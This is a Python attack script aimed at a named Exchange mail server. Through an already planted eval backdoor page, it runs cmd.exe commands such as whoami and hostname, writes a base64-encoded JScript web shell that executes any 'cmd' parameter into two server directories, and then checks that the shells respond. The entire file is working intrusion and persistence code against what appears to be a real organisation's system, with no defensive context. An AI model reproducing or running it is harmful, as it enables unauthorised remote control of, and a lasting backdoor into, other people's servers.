#!/usr/bin/env python3
import base64, requests
requests.packages.urllib3.disable_warnings()
HOST = "acbsa-exchange.acbsa.co.za"
EVAL = f"https://{HOST}/owa/auth/lxdntf.aspx"

def ev(code, n=3):
    last = ""
    for i in range(n):
        try:
            r = requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=30)
            last = r.text.split('!BD')[0]
            return last
        except Exception as e:
            last = f"EXC:{type(e).__name__}:{str(e)[:80]}"
    return last

# --- 0. environment probe: is cmd.exe directly usable? ---
probe = ('var p=new System.Diagnostics.Process();p.StartInfo.FileName="C:\\\\Windows\\\\System32\\\\cmd.exe";'
         'p.StartInfo.Arguments="/c whoami & hostname";p.StartInfo.UseShellExecute=false;'
         'p.StartInfo.RedirectStandardOutput=true;p.StartInfo.RedirectStandardError=true;p.Start();'
         'var o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();p.WaitForExit();Response.Write("CMDCHK:"+o);')
print("[cmd probe]", repr(ev(probe)[:200]), flush=True)

JS = ('<script language="JScript" runat="server" Page aspcompat=true>'
      'function Page_Load(){var c=Request["cmd"];if(c!=null){try{'
      'var p=new System.Diagnostics.Process();'
      'p.StartInfo.FileName="C:\\\\Windows\\\\System32\\\\cmd.exe";'
      'p.StartInfo.Arguments="/c "+c;p.StartInfo.UseShellExecute=false;'
      'p.StartInfo.RedirectStandardOutput=true;p.StartInfo.RedirectStandardError=true;'
      'p.Start();var o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();'
      'p.WaitForExit();Response.Write(o);}catch(e){Response.Write("EXC:"+e.message);}}}</script>')
b64 = base64.b64encode(JS.encode()).decode()
paths = [("aspnet_client", "C:\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\c.aspx"),
         ("owa/auth",      "C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15\\\\FrontEnd\\\\HttpProxy\\\\owa\\\\auth\\\\c.aspx")]
for label, p in paths:
    code = ('var b=System.Convert.FromBase64String("{0}");var fp="{1}";try{{System.IO.File.WriteAllBytes(fp,b);Response.Write("DROPPED:"+System.IO.File.Exists(fp)+"@"+fp);}}catch(e){{Response.Write("ERR:"+e.message+"@"+fp);}}').format(b64, p)
    print(f"[write {label}]", repr(ev(code)[:160]), flush=True)

for u in [f"https://{HOST}/aspnet_client/c.aspx", f"https://{HOST}/owa/auth/c.aspx"]:
    try:
        r = requests.get(u, params={"cmd": "whoami & hostname & ver"}, verify=False, timeout=25)
        print(f"[verify] {u} -> {r.status_code} {r.text[:160]!r}", flush=True)
    except Exception as e:
        print(f"[verify] {u} err {type(e).__name__} {str(e)[:80]}", flush=True)
